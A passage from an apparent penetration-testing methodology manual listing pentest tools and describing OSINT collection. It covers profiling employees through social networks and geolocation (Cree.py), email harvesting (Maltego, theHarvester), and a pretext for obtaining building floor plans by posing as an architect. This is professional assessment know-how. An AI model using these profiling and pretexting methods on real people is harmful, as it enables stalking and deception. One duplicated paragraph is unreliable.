External antennas come in a variety of shapes, based upon the usage and with a variety of connectors. All external antennas must have RP-SMA connectors that are compatible with the Alfa. Since the Alfa comes with an Omni-directional antenna, we need to obtain a directional antenna. The best choice is a panel antenna as it provides the capabilities required in a package that travels well. The required hardware is the L-com 2.4 GHz 14 dBi Flat Panel Antenna with RP-SMA connector. A good magnetic mount Omni-directional antenna such as the L-com 2.4 GHz/900 MHz 3 dBi Omni Magnetic Mount Antenna with RP-SMA Plug Connector is a good choice.

USB GPS

A GPS is a necessity to properly perform an RF assessment. Without this it's simply impossible to determine where and how far RF signals are propagating. There are numerous options are available, therefore you should look to obtain a USB GPS that is supported on operating system that you are using be that Linux, Windows and Mac OS X.

9.1.3 Software

The software requirements are based upon the engagement scope, however we've listed some commercial and open source software that could be required to properly conduct a full penetration test.

Software	URL
Maltego	http://www.paterva.com/web5
Nessus	http://tenable.com/products/nessus
IBM AppScan	http://www-01.ibm.com/software/awdtools/appscan
eEye Retina	http://www.eeye.com/Products/Retina.aspx
Nexpose	http://www.rapid7.com
OpenVAS	http://www.openvas.org
HP WebInspect	https://www.fortify.com/products/web_inspect.html
HP SWFScan	https://h30406.www3.hp.com/campaigns/2009/wwcampaign/1-5TUVE/index.php?key=sw
Backtrack Linux	1
SamuraiWTF (Web Testing Framework)	http://samurai.inguardians.com
SiteDigger	http://www.mcafee.com/us/downloads/free-tools/sitedigger.aspx
FOCA	http://www.informatica64.com/DownloadFOCA
THC IPv6 Attack Toolkit	http://www.thc.org/thc-ipv6
THC Hydra	http://thc.org/thc-hydra/
Cain	http://www.oxid.it/cain.html
cree.py	http://ilektrojohn.github.com/creepy/
inSSIDer	http://www.metageek.net/products/inssider
Kismet Newcore	http://www.kismetwireless.net
Rainbow Crack	http://project-rainbowcrack.com
dnsenum	http://code.google.com/p/dnsenum
dnsmap	http://code.google.com/p/dnsmap
dnsrecon	http://www.darkoperator.com/tools-and-scripts/
dnstracer	http://www.mavetju.org/unix/dnstracer.php
dnswalk	http://sourceforge.net/projects/dnswalk
Fierce	http://ha.ckers.org/fierce
Fierce2	http://trac.assembla.com/fierce/
FindDomains	http://code.google.com/p/finddomains
HostMap	http://hostmap.lonerunners.net
URLcrazy	http://www.morningstarsecurity.com/research/urlcrazy

theHarvester	http://www.edge-security.com/theHarvester.php
The Metasploit Framework	http://metasploit.com
The Social-Engineer Toolkit (SET)	http://www.secmaniac.com/download/
Fast-Track	http://www.secmaniac.com/download/

9.2 Intelligence Gathering

Intelligence Gathering is the phase where data or "intelligence" is gathered to assist in guiding the assessment actions. At the broadest level this intelligence gathering includes information about employees, facilities, products and plans. Within a larger picture this intelligence will include potentially secret or private "intelligence" of a competitor, or information that is otherwise relevant to the target.

9.2.1 OSINT

Open Source Intelligence (OSINT) in the simplest of terms is locating, and analyzing publically (open) available sources of information. The key component here is that this intelligence gathering process has a goal of producing current and relevant information that is valuable to either an attacker or competitor. For the most part, OSINT is more than simply performing web searches using various sources.

Corporate

Information on a particular target should include information regarding the legal entity. Most states within the US require Corporations, limited liability companies and limited partnerships to file with the State division. This division serves as custodian of the filings and maintains copies and/or certifications of the documents and filings. This information may contain information regarding shareholders, members, officers or other persons involved in the target entity.

State	URL
Alabama	http://sos.alabama.gov/BusinessServices/NameRegistration.aspx
Alaska	http://www.dced.state.ak.us/bsc/corps.htm
Arizona	http://starpas.azcc.gov/scripts/cgiip.exe/WService=wsbroker1/main.p
Arkansas	http://www.sosweb.state.ar.us/corps/incorp
California	http://kepler.sos.ca.gov/
Colorado	http://www.state.co.us
Connecticut	http://www.state.ct.us
Delaware	http://www.state.de.us
District of Columbia	http://www.ci.washington.dc.us
Florida	http://www.sunbiz.org/search.html
Georgia	http://corp.sos.state.ga.us/corp/soskb/CSearch.asp
Hawaii	http://www.state.hi.us
Idaho	http://www.accessidaho.org/public/sos/corp/search.html?SearchFormstep=crit
Illinois	http://www.ilsos.gov/corporatellc
Indiana	http://secure.in.gov/sos/bus_service/online_corps/default.asp
Iowa	http://www.state.ia.us
Kansas	http://www.accesskansas.org/apps/corporations.html
Kentucky	http://ukcc.uky.edu/~vitalrec

Continued on next page

Table 2 – continued from previous page

Louisiana	http://www.sec.state.la.us/crpinq.htm
Maine	http://www.state.me.us/sos/cec/corp/ucc.htm
Maryland	http://sdatcert3.resiusa.org/ucc-charter
Massachusetts	http://ucc.sec.state.ma.us/psearch/default.asp
Michigan	http://www.cis.state.mi.us/bcs_corp/sr_corp.asp
Minnesota	http://www.state.mn.us/
Mississippi	http://www.sos.state.ms.us/busserv/corpsnap
Missouri	http://www.state.mo.us
Montana	http://sos.state.mt.us
Nebraska	http://www.sos.state.ne.us/htm/UCCmenu.htm
Nevada	http://sandgate.co.clark.nv.us:8498/cicsRecorder/ornu.htm
New Hampshire	http://www.state.nh.us
New Jersey	http://www.state.nj.us/treasury/revenue/searchucc.htm
New Mexico	http://www.sos.state.nm.us/UCC/UCCSRCH.HTM
New York	http://wdb.dos.state.ny.us/corp_public/corp_wdb.corp_search_inputs.show
North Carolina	http://www.secstate.state.nc.us/research.htm
North Dakota	http://www.state.nd.us/sec
Ohio	http://serform.sos.state.oh.us/pls/report/report.home
Oklahoma	http://www.oklahomacounty.org/coclerk/ucc/default.asp
Oregon	http://egov.sos.state.or.us/br/pkg_web_name_srch_inq.login
Pennsylvania	http://www.dos.state.pa.us/DOS/site/default.asp
Rhode Island	http://155.212.254.78
South Carolina	http://www.scsos.com/corp_search.htm
South Dakota	http://www.state.sd.us
Tennessee	http://www.state.tn.us/sos/service.htm
Texas	https://ourcpa.cpa.state.tx.us/coa/Index.html
Utah	http://www.commerce.state.ut.us
Vermont	http://www.sec.state.vt.us/seek/database.htm
Virginia	http://www.state.va.us
Washington	http://www.dol.wa.gov/business/UCC/
West Virginia	http://www.wvsos.com/wvcorporations
Wisconsin	http://www.wdfi.org/corporations/crispix
Wyoming	http://soswy.state.wy.us/Corp_Search_Main.asp

Physical

Often the first step in OSINT is to identify the physical locations of the target corporation. This information might be readily available for publically known or published locations, but not quite so easy for more secretive sites. Public sites can often be location by using search engines such as:

- Google -http://www.google.com
- Yahoo - http://yahoo.com
- Bing - http://www.bing.com
- Ask.com - http://ask.com

Locations

Shared/Individual

As part of identifying the physical location it is important to note if the location is an individual building or simply a suite in a larger facility. It is important to attempt to identify neighboring businesses as well as common areas.

Owner

Once the physical locations have been identified, it is useful to identify the actual property owner(s). This can either be an individual, group, or corporation. If the target corporation does not own the property then they may be limited in what they can physically do to enhance or improve the physical location.

Land/tax records

Tax records:

http://www.naco.org/Counties/Pages/CitySearch.aspx

Land and tax records generally include a wealth of information on a target such as ownership, possession, mortgage companies, foreclosure notices, photographs and more. The information recorded and level of transparency varies greatly by jurisdiction. Land and tax records within the United States are typically handled at the county level.

To start, if you know the city or zipcode in which your target resides, use a site such as http://publicrecords.netronline.com/ to determine which county that is in. Then switching over to Google you can use a query such as "XXXX county tax records", "XXXX county recording office" or "XXXX county assessor" and that should lead you to a searchable online database if one exists. If it does not exist, you can still call the county recording office and request that they fax you specific records if you have an idea of what you are looking for.

Building department:

For some assessments, it might make sense to go a step further and query the local building department for additional information. Depending on the city, the target's site might be under county or city jurisdiction. Typically that can be determined by a call to either entity.

The building department generally has floor plans, old & current permits, tenant improvement information and other similar information on file. Buried in that information might be names of contracting firms, engineers, architects and more. All of which could be used with a tool such as SET. In most cases, a phone call will be required to obtain any of this information but most building departments are happy to hand it out to anyone who asks.

Here is a possible pretext you could use to obtain floor plans: You could call up and say that you are an architectural consultant who has been hired to design a remodel or addition to the building and it would help the process go much smoother if you could get a copy of the original plans.

Datacenter Locations

Identifying any target business data center locations via either the corporate website, public filings, land records or via a search engine can provide additional potential targets.

Time zones

Identifying the time zones that the target operates in provides valuable information regarding the hours of operation. It is also significant to understand the relationship between the target time zone and that of the assessment team. A time zone map is often useful as a reference when conducting any test.

TimeZone Map

Offsite gathering

Identifying any recent or future offsite gatherings or parties via either the corporate website or via a search engine can provide valuable insight into the corporate culture of a target. It is often common practice for businesses to have offsite gatherings not only for employees, but also for business partners and customers. Collecting this data could provide insight into potential items of interest to an attacker.

Product/Services

Identifying the target business products and any significant data related to such launches via the corporate website, new releases or via a search engine can provide valuable insight into the internal workings of a target. It is often common practice for businesses to make such notifications publicly in an effort to garner publicity and to inform current and/or new customers of the launch. Publicly available information includes, but is not limited to, foreign language documents, radio and television broadcasts, Internet sites, and public speaking.

Company Dates

Significant company dates can provide insight into potential days where staff may be on alert higher than normal. This could be due to potential corporate meetings, board meetings, investor meetings, or corporate anniversary. Normally, businesses that observe various holidays have a significantly reduced staff and therefore targeting may prove to be much more difficult during these periods.

Position identification

Within every target it is critical that you identify and document the top positions within the organization. This is critical to ensure that the resulting report is targeting the correct audience. At a minimum, key employees should be identified as part of any engagement.

Organizational Chart

Understanding the organizational structure is important, not only to understand the depth of the structure, but also the breadth. If the organization is extremely large, it is possible that new staff or personnel could go undetected. In smaller organizations, the likelihood is not as great. Getting a good picture of this structure can also provide insight into the functional groups. This information can be useful in determining internal targets.

Corporate Communications

Identifying corporate communications either via the corporate website or a job search engine can provide valuable insight into the internal workings of a target.

Marketing

Marketing communications are often used to make corporate announcements regarding currently, or future product releases, and partnerships.

Lawsuits

Communications regarding the targets involvement in litigation can provide insight into potential threat agent or data of interest.

Transactions

Communications involving corporate transactions may be indirect response to a marketing announcement or lawsuit.

Job openings

Searching current job openings or postings via either the corporate website or via a job search engine can provide valuable insight into the internal workings of a target. It is often common practice to include information regarding currently, or future, technology implementations. Collecting this data could provide insight into potential items of interest to an attacker. Several Job Search Engines exist that can be queried for information regarding the target.

Site	URL
Monster	http://www.monster.com
CareerBuilder	http://www.careerbuilder.com
Computerjobs.com	http://www.computerjobs.com
Craigslist	http://www.craigslist.org/about/sites

Relationships

Identifying the targets logical relationships is critical to understand more about how the business operates. Publicly available information should be leveraged to determine the target business relationship with vendors, business partners, law firms, etc. This is often available via news releases, corporate web sites (target and vendors), and potentially via industry related forums.

Charity Affiliations

Identifying any target business charity affiliations via either the corporate website or via a search engine can provide valuable insight into the internal workings and potentially the corporate culture of a target. It is often common practice for businesses to make charitable donations to various organizations. Collecting this data could provide insight into potential items of interest to an attacker.

Network Providers

Identifying any network provisioning or providers either via the allocated netblock /address information, corporate website or via a search engine can provide valuable insight into the potentially of a target. It is often common practice for businesses to make charitable donations to various organizations. Collecting this data could provide insight into potential items of interest to an attacker.

Business Partners

Identifying business partners is critical to gaining insight into not only the corporate culture of a target, but also potentially technologies being used. It is often common practice for businesses to announce partnership agreements. Collecting this data could provide insight into potential items of interest to an attacker.

Competitors

Identifying competitors can provide a window into potential adversaries. It is not uncommon for competitors to announce news that could impact the target. These could range from new hires, product launches, and even partnership agreements. Collecting this data is important to fully understand any potential corporate hostility.

9.2.2 Individuals

Social Networking Profile

The numbers of active Social Networking websites as well as the number of users make this a prime location to identify employee's friendships, kinships, common interest, financial exchanges, likes/dislikes, sexual relationships, or beliefs. It is even possible to determine an employee's corporate knowledge or prestige.

Social Networking Websites

Name	URL	Description/Focus
Academia.edu	http://www.academia.edu	Social networking site for academics/researchers
Advogato	http://www.advogato.org	Free and open source software developers
aNobii	http://www.anobii.com/anobii_home	Books
aSmallWorld	http://www.asmallworld.net	European jet set and social elite world-wide
AsianAvenue	http://www.asianave.com	A social network for the Asian American community
Athlinks	http://www.athlinks.com	Open Running, Swimming
Audimated.com	http://www.audimated.com	Independent Music
Avatars United	http://www.avatarsunited.com	Online games
Badoo	http://badoo.com	General, Meet new people, Popular in Europe and LatAm
Bebo	http://www.bebo.com	General
Bigadda	http://bigb.bigadda.com	Indian Social Networking Site
Federated Media's BigTent	http://www.federatedmedia.net	Organization and communication portal for groups
Biip.no	http://www.biip.no	Norwegian community
BlackPlanet	http://www.blackplanet.com	African-Americans
Blauk	http://blauk.com	Anyone who wants to tell something about a stranger or acquaintance.
Blogster	http://www.blogster.com	Blogging community
Bolt.com	http://www.bolt.com	General
Buzznet	http://www.buzznet.com	Music and pop-culture
CafeMom	http://www.cafemom.com	Mothers
Cake Financial	http://www.cakefinancial.com	Investing
Care2	http://www.care2.com	Green living and social activism
CaringBridge	http://www.caringbridge.org	Not for profit providing free websites that connect family and friends during a serious health event, care and recovery.
Cellufun	http://m.cellufun.com	Mobile social game network, Number 8 US mobile website
Classmates.com	http://www.classmates.com	School, college, work and the military
Cloob	http://www.cloob.com	General. Popular in Iran

Continued on next page

Table 3 – continued from previous page

CouchSurfing	http://www.couchsurfing.org	Worldwide network for making connections between travelers and the local communities they visit.
CozyCot	http://www.cozycot.com	East Asian and Southeast Asian women
Cross.tv	http://www.cross.tv	Faith Based social network for Christian believers from around the world
Crunchyroll	http://www.crunchyroll.com	Anime and forums.
Cyworld	(Korea) http://cyworld.co.kr (China) http://www.cyworld.com.cn	General. Popular in South Korea.
DailyBooth	http://dailybooth.com	Photo-blogging site where users upload a photo every day
DailyStrength	http://www.dailystrength.org	Medical & emotional support community - Physical health, Mental health, Support groups
Decayenne	http://www.decayenne.com	European and American social elite
delicious	http://www.delicious.com	Social bookmarking allowing users to locate and save websites that match their own interests
deviantART	http://www.deviantart.com	Art community
Disaboom	http://www.disaboom.com	People with disabilities (Amputee, cerebral palsy, MS, and other disabilities)
Dol2day	http://www.dol2day.de	Politic community, Social network, Internet radio (German-speaking countries)
DontStayIn	http://www.dontstayin.com	Clubbing (primarily UK)
Draugiem.lv	http://www.draugiem.lv	General (primarily LV, LT, HU)
douban	http://www.douban.com	Chinese Web 2.0 website providing user review and recommendation services for movies, books, and music. It is also the largest online Chinese language book, movie and music database and one of the largest online communities in China.
Elftown	http://www.elftown.com	Community and wiki around Fantasy and sci-fi.
Entitycube	http://entitycube.research.microsoft.com	
Eons.com	http://www.eons.com	For baby boomers
Epernicus	http://www.epernicus.com	For research scientists
Experience Project	http://www.experienceproject.com	Life experiences
Exploroo	http://www.exploroo.com	Travel Social Networking.
Facebook	(IPv4) http://www.facebook.com (IPv6) http://www.v6.facebook.com	General.
Faceparty	http://www.faceparty.com	General. Popular UK.

Continued on next page

Table 3 – continued from previous page

Faces.com	http://www.face-pic.com http://www.faces.com	British teens
Fetlife	http://fetlife.com	People who are into BDSM
FilmAffinity	http://www.filmaffinity.com	Movies and TV Series
FitFinder	http://www.thefitfinder.co.uk	Anonymous UK Student Microblogging Website
FledgeWing	http://www.fledgewing.com	Entrepreneural community targeted towards worldwide university students
Flixster	http://www.flixster.com	Movies
Flickr	http://www.flickr.com	Photo sharing, commenting, photography related networking, worldwide
Focus.com	http://www.focus.com	Business to Business, worldwide
Folkdirect	http://www.folkdirect.com	General
Fotki	http://www.fotki.com	Photo sharing, video hosting, photo contests, journals, forums, flexible privacy protection, friend's feed, audio comments and unlimited custom design integration.
Fotolog	http://www.fotolog.com	Photoblogging. Popular in South America and Spain
Foursquare	http://foursquare.com	Location based mobile social network
Friends Reunited	http://www.friendsreunited.com	UK based. School, college, work, sport and streets
Friendster	http://www.friendster.com	General. Popular in Southeast Asia. No longer popular in the western world
Fr¸hst¸ckstreff	http://www.fruehstueckstreff.de	General
Fubar	http://www.fubar.com	dating, an "online bar" for 18 and older
Gaia Online	http://www.gaiaonline.com	Anime and games. Popular in USA, Canada and Europe. Moderately popular around Asia.
GamerDNA	http://www.gamerdna.com	Computer and video games
Gather.com	http://home.gather.com	Article, picture, and video sharing, as well as group discussions
Gays.com	http://gays.com	Social network for LGBT community, Guide for LGBT bars, restaurants, clubs, shopping
Geni.com	http://www.geni.com	Families, genealogy
Gogoyoko	http://www.gogoyoko.com	Fair play in Music - Social networking site for musicians and music lovers
Goodreads	http://www.goodreads.com	Library cataloging, book lovers
Goodwizz	http://www.goodwizz.com	Social network with matchmaking and personality games to find new contacts. Global, based in France.

Continued on next page

Table 3 – continued from previous page

Google Buzz	http://www.google.com/buzz	General
Google+	http://plus.google.com	General
GovLoop	http://www.govloop.com	For people in and around government
Gowalla	http://gowalla.com	
Grono.net	http://grono.net	Poland
Habbo	http://www.habbo.com	General for teens. Over 31 communities worldwide. Chat Room and user profiles.
hi5	http://hi5.com	General. Popular in India, Mongolia, Thailand, Romania, Jamaica, Central Africa, Portugal and Latin America. Not very popular in the USA.
Hospitality Club	http://www.hospitalityclub.org	Hospitality
Hotlist	http://www.thehotlist.com	Geo-Social Aggregator rooted in the concept of knowing where your friends are, were, and will be.
HR.com	http://www.hr.com	Social networking site for Human Resources professionals
Hub Culture	http://www.hubculture.com	Global influencers focused on worth creation
Hyves	http://www.hyves.nl	General, Most popular in the Netherlands.
Ibibo	http://www.ibibo.com	Talent based social networking site that allows to promote one's self and also discover new talent. Most popular in India.
Identi.ca	http://identi.ca	Twitter-like service popular with hackers and software freedom advocates.
Indaba Music	http://www.indabamusic.com	Online collaboration for musicians, remix contests, and networking.
IRC-Galleria	http://www.irc-galleria.net	Finland
italki.com	http://www.italki.com	Language learning social network. 100+ languages.
InterNations	http://www.internations.org	International community
Itsmy	http://mobile.itsmy.com	Mobile community worldwide, blogging, friends, personal TV-shows
iWiW	http://iwiw.hu	Hungary
Jaiku	http://www.jaiku.com	General. Microblogging. Owned by Google
JammerDirect.com	http://www.jammerdirect.com	Network for unsigned artists
kaioo	http://www.kaioo.com	General, nonprofit
Kaixin001	http://www.kaixin001.com	General. In Simplified Chinese; caters for mainland China users
Kiwibox	http://www.kiwibox.com	General. For the users, by the users, a social network that is more than a community.
Lafango	http://lafango.com	Talent-Focused media sharing site

Continued on next page

Table 3 – continued from previous page

Last.fm	http://www.last.fm	Music
LibraryThing	http://www.librarything.com/ (German) http://www.librarything.de	Book lovers
Lifeknot	http://www.lifeknot.com	Shared interests, hobbies
LinkedIn	http://www.linkedin.com	Business and professional networking
LinkExpats	http://www.linkexpats.com	Social networking website for expatriates. 100+ countries.
Listography	http://listography.com	Lists. Autobiography
LiveJournal	http://www.livejournal.com	Blogging. Popular in Russia and among the Russian-speaking diaspora abroad.
Livemocha	http://www.livemocha.com	Online language learning - dynamic online courses in 35 languages - world's largest community of native language speakers.
LunarStorm	http://www.lunarstorm.se	Sweden
MEETin	http://www.meetin.org	General
Meetup.com	http://www.meetup.com	General. Used to plan offline meetings for people interested in various activities
Meettheboss	http://www.meettheboss.tv	Business and Finance community, worldwide.
Mixi	http://www.mixi.jp	Japan
mobikade	http://www.mkade.com	mobile community, UK only
MocoSpace	http://www.mocospace.com	mobile community, worldwide
MOG	http://www.mog.com	Music
MouthShut.com	http://www.mouthshut.com	Social Network, social media, consumer reviews
Mubi (website)	http://mubi.com	Auteur cinema
Multiply	http://multiply.com	Real world relationships. Popular in primarily in Asia.
Muxlim	http://muxlim.com	Muslim portal site
MyAnimeList	http://www.myanimelist.net	Anime themed social community
MyChurch	http://www.mychurch.org	Christian Churches
MyHeritage	http://www.myheritage.com	family-oriented social network service
MyLife	http://www.mylife.com	Locating friends and family, keeping in touch (formerly Reunion.com)
My Opera	http://my.opera.com	Blogging, mobile blogging, photo sharing, connecting with friends, Opera Link and Opera Unite. Global
Myspace	http://www.myspace.com	General
myYearbook	http://www.myyearbook.com	General, Charity
Nasza-klasa.pl	http://www.nk.pl	School, college and friends. Popular in Poland

Continued on next page

Table 3 – continued from previous page

Netlog	http://www.netlog.com	General. Popular in Europe, Turkey, the Arab World and Canada's QuÈbec province. Formerly known as Facebox and Redbox.
Nettby	http://www.nettby.no	Norwegian Community
Nexopia	http://www.nexopia.com	Canada
NGO Post	http://www.ngopost.org	Non-Profit news sharing and networking, mainly in India
Ning	http://www.ngopost.org	Users create their own social websites and social networks
Odnoklassniki	http://odnoklassniki.ru	Connect with old classmates. Popular in Russia and former Soviet republics
OneClimate	http://www.oneclimate.net	Not for Profit Social networking and Climate Change
OneWorldTV	http://tv.oneworld.net	Not for Profit Video sharing and social networking aimed at people interested in social issues, development, environment, etc.
Open Diary	http://www.opendiary.com	First online blogging community, founded in 1998
Orkut	http://orkut.com	General. Owned by Google Inc. Popular in India and Brazil.
OUTeverywhere	http://www.outeverywhere.com	Gay/LGBTQ Community
Passportstamp	http://www.passportstamp.com	Travel
Partyflock	http://partyflock.nl	Dutch virtual community for people interested in house music and other electronic dance music. Since 2001, Partyflock has evolved into the biggest online community for the dance scene in the Netherlands
Picasa	http://picasa.google.com	
PicFog	http://picfog.com	PicFog shows pictures from twitter *as* they're posted
Pingsta	http://www.pingsta.com	Collaborative platform for the world's Internetwork Experts
Plaxo	http://www.plaxo.com	Aggregator
Playahead	http://www.playahead.se	Swedish, Danish teenagers
Playlist.com	http://www.playlist.com	General, Music
Plurk	http://www.plurk.com	Micro-blogging, RSS, updates. Very popular in Taiwan
Present.ly	http://www.presently.com	Enterprise social networking and micro-blogging
Qapacity	http://www.qapacity.com	A a business-oriented social networking site and a business directory
Quechup	http://quechup.com	General, friendship, dating
Qzone	http://qzone.qq.com	General. In Simplified Chinese; caters for mainland China users
Raptr	http://raptr.com	Video games
Ravelry	http://www.ravelry.com	Knitting and crochet

Continued on next page

Table 3 – continued from previous page

Renren	http://renren.com	Significant site in China.
ResearchGate	http://researchgate.net	Social network for scientific researchers
ReverbNation.com	http://www.reverbnation.com	Social network for musician and bands
Ryze	http://www.ryze.com	Business
ScienceStage	http://sciencestage.com	Science-oriented multimedia platform and network for scientists
Scispace.net	http://scispace.net	Collaborative network site for scientists
ShareTheMusic	http://www.sharethemusic.com	Music Community. Sharing and listening to music for free and legally
Shelfari	http://www.shelfari.com	Books
Skyrock	http://skyrock.com	Social Network in French-speaking world
Social Life	http://www.sociallife.com.br	Brazilian jet set and social elite world-wide
SocialVibe	http://www.socialvibe.com	Social Network for Charity
Sonico.com	http://www.sonico.com	General. Popular in Latin America and Spanish and Portuguese speaking regions.
Stickam	http://www.stickam.com	Live video streaming and chat.
StudiVZ	http://www.studivz.net	University students, mostly in the German-speaking countries. School students and those out of education sign up via its partner sites schülerVZ and meinVZ.
StumbleUpon	http://www.stumbleupon.com	Stumble through websites that match your selected interests
Tagged	http://www.tagged.com	General. Subject to quite some controversy about its e-mail marketing and privacy policy
Talkbiznow	http://www.talkbiznow.com	Business networking
Taltopia	http://www.taltopia.com	Online artistic community
Taringa!	http://www.taringa.net	General
TeachStreet	http://www.teachstreet.com	Education / Learning / Teaching - More than 400 subjects
TravBuddy.com	http://www.travbuddy.com	Travel
Travellerspoint	http://www.travellerspoint.com	Travel
tribe.net	http://www.tribe.net	General
Trombi.com	http://www.trombi.com	French subsidiary of Classmates.com
Tuenti	http://www.tuenti.com	Spanish-based university and High School social network. Very Popular in Spain
Tumblr	http://www.tumblr.com	General. Micro-blogging, RSS
Twitter	http://twitter.com	General. Micro-blogging, RSS, updates
twitpic	http://twitpic.com	

Continued on next page

Table 3 – continued from previous page

Vkontakte	http://vkontakte.ru/	Social Network for Russian-speaking world including former Soviet republics. Biggest site in Russia
Vampirefreaks.com	http://www.vampirefreaks.com	Gothic and industrial subculture
Viadeo	http://www.viadeo.com	Global Social Networking and Campus Networking available in English, French, German, Spanish, Italian and Portuguese
Virb	http://www.virb.com	Social network that focuses heavily on artists, including musicians and photographers
Vox	http://www.vox.com	Blogging
Wakoopa	http://social.wakoopa.com	For computer fans that want to discover new software and games
Wattpad	http://www.wattpad.com	For readers and authors to interact & e-book sharing
Wasabi	http://www.wasabi.com	General. UK-based.
WAYN	http://www.wayn.com	Travel and lifestyle
WebBiographies	http://www.webbiographies.com	Genealogy and biography
WeeWorld	http://www.weeworld.com	Teenagers - 10 to 17
WeOurFamily	http://www.weourfamily.com	General with emphasis on privacy and security
Wer-kennt-wen	http://www.wer-kennt-wen.de	General
weRead	http://weread.com	Books
Windows Live Spaces	http://spaces.live.com	Blogging (formerly MSN Spaces)
WiserEarth	http://www.wiserearth.org	Online community space for the social justice and environmental movement
Wordpress	http://wordpress.org	
WorldFriends	http://www.worldfriends.tv	
Xanga	http://www.xanga.com	Blogs and “metro” areas
XING	http://www.xing.com	Business (primarily Europe (Germany, Austria, Switzerland) and China)
Xt3	http://www.xt3.com	Catholic social networking, created after World Youth Day 2008
Yammer	http://www.yammer.com	Social networking for office colleagues
Yelp, Inc.	http://www.yelp.com	Local Business Review and Talk
Yfrog	http://yfrog.com	
Youmeo	http://youmeo.com	UK Social Network (focus on data portability)
Zoo.gr	http://www.zoo.gr	Greek Web Meeting point
Zooppa	http://zooppa.com	Online Community for Creative Talent (host of brand sponsored advertising contests)

Tone and Frequency

Identifying an employee’s tone and frequency of postings can be a critical indicator of a disgruntled employee as well as the corporate acceptance of social networking. While time consuming it is possible to establish an employee’s work

schedule and vacation periods.

Location awareness

Most social networking sites offer the ability to include geolocation information in postings. This information can be useful in identifying exactly where the person was physically located when a posting was made. In addition, it is possible that geolocation information is included in images that are uploaded to social networking sites. It is possible that the user may be savy enough to turn this off, however, sometimes it's just as simple as reading a post that indicates exactly where they're located.

Cree.py

Cree.py is Beta tool that is used to automate the task of information gathering from Twitter as well as FourSquare. In addition, Cree.py can gather any geolocation data from flickr, twitpic.com, yfrog.com, img.ly, plixi.com, twitrpix.com, foleext.com, shozu.com, pickhur.com, moby.to, twitsnaps.com and twitgoo.com. Cree.py is an open source intelligence gathering application. To install Cree.py, you will need to add a repository to your /etc/apt/sources.list.

```
echo "deb http://people.dsv.su.se/~kakavas/creepy/ binary/" >> /etc/apt/sources.list
```

Update package list

```
apt-get update
```

Install creepy

```
apt-get install creepy
```

Cree.py Interface

Cree.py is primarily targeting geolocation related information about users from social networking platforms and image hosting services. The information is presented in a map inside the application where all the retrieved data is shown accompanied with relevant information (i.e. what was posted from that specific location) to provide context to the presentation.

Cree.py Interface

9.2.3 Internet Footprint

Internet Footprinting is where we attempt to gather externally available information about the target infrastructure that we can leveraged in later phases.

Email addresses

Gathering email addresses while seemingly useless can provide us with valuable information about the target environment. It can provide information about potential naming conventions as well as potential targets for later use. There are many tools that can be used to gather email addresses, Maltego for example.

Maltego

Paterva Maltego is used to automate the task of information gathering. Maltego is an open source intelligence and forensics application. Essentially, Maltego is a data mining and information-gathering tool that maps the information gathered into a format that is easily understood and manipulated. It saves you time by automating tasks such as email

harvesting and mapping subdomains. The documentation of Maltego is relatively sparse so we are including the procedures necessary to obtain the data required.

Once you have started Maltego, the main interface should be visible. The six main areas of the interface are the toolbar, the Palette, graph(view) area, overview area, the detailed area, and the property area.

‘” Screenshot Here ‘”

Here is a suggested workflow to get you started, consider it a training exercise rather than absolute since you will want to customize your workflow depending on your engagement.

To start, look to the very upper left-hand corner of Maltego and click the “new graph” button. After that, drag the “domain” item out of the palette onto the graph. The graph area allows you to process the transforms as well as view the data in either the mining view, dynamic view, edge weighted view as well as the entity list. When you first add the domain icon to your graph, it will default to “paterva.com” double-click on that icon and change the name to your target’s domain(without any subdomain such as www). Now you are ready to start mining.

1. Right click(or double-click) on the domain icon and from “run transform” select the “To Website DNS[using search engine]”. This will hopefully result in all of the subdomains for your target showing up.

2. Select all of the subdomains and run the “To IP Address [DNS] transform”. This should resolve all of the subdomains to their respective IP Addresses.

‘” Screenshot Here ‘”

3. From this point you could chose a couple different paths depending on the size of your target but a logical next step is to determine the netblocks so run the “To Netblock [Using natural boundaries]” transform.

After this point, you should be able to use your imagination as to where to go next. You will be able to cultivate phone numbers, email addresses, geo location information and much more by using the transforms provided. The Palette contains all the transforms that are available (or activated) for use. As of this writing, there are approximately 72 transforms. One limitation of the “Community Edition” of Maltego is that any given transform will only return 12 results whereas the professional version doesn’t have any limitations.

Resist the temptation to run “all transforms” since this will likely overload you with data and inhibit your ability to drill down to the most interesting pieces of data that are relevant to your engagement.

Maltego is not just limited to the pre-engagement portion of your pentest. You can also import csv/xls dumps of your airodump results back into Maltego to help you visualize the networks.

TheHarvester

TheHarvester is a tool, written by Christian Martorella, that can be used to gather e-mail accounts and subdomain names from different public sources (search engines, pgp key servers). Is a really simple tool, but very effective.

```
root@pentest:/pentest/enumeration/theharvester# ./theHarvester.py

************************************
*TheHarvester Ver. 1.6             *
*Coded by Christian Martorella      *
*Edge-Security Research             *
*cmartorella@edge-security.com      *
************************************


Usage: theharvester options

```

(continues on next page)

(continued from previous page)

```
       -d: domain to search or company name
       -b: data source (google,bing,pgp,linkedin)
       -s: start in result number X (default 0)
       -v: verify host name via dns resolution
       -l: limit the number of results to work with(bing goes from 50 to 50 results,
            google 100 to 100, and pgp does'nt use this option)

Examples:./theharvester.py -d microsoft.com -l 500 -b google
         ./theharvester.py -d microsoft.com -b pgp
         ./theharvester.py -d microsoft -l 200 -b linkedin
```

TheHarvester will search the specified data source and return the results. This should be added to the OSINT document for use at a later stage.

```
root@pentest:/pentest/enumeration/theharvester# ./theHarvester.py -d client.com -b␣
↪google -l 500

************************************
*TheHarvester Ver. 1.6             *
*Coded by Christian Martorella      *
*Edge-Security Research             *
*cmartorella@edge-security.com      *
************************************

Searching for client.com in google :

=====================================


Limit: 500
Searching results: 0
Searching results: 100
Searching results: 200
Searching results: 300
Searching results: 400

Accounts found:
====================
admin@client.com
nick@client.com
jane@client.com
sarah@client.com
```

NetGlub

NetGlub is an open source tool that is very similar to Maltego. NetGlub is a data mining and information-gathering tool that presents the information gathered in a format that is easily understood. The documentation of NetGlub is nonexistent at the moment so we are including the procedures necessary to obtain the data required.

Installing NetGlub is not a trivial task, but one that can be accomplished by running the following:

```
apt-get install build-essential mysql-server libmysqlclient-dev zlib1g-dev libperl-
↪dev libnet-ip-perl libopenssl-ruby ruby-dev ruby omt php5-cli nmap libnet-dns-perl␣
↪libnet-ip-perl python-dev
wget http://pypi.python.org/packages/source/s/simplejson/simplejson-2.1.5.tar.gz
```

(continues on next page)

(continued from previous page)

```
tar -xzvf simplejson-2.1.5.tar.gz
cd simplejson-2.1.5
python2.7 setup.py build
python2.7 setup.py install
cd ..
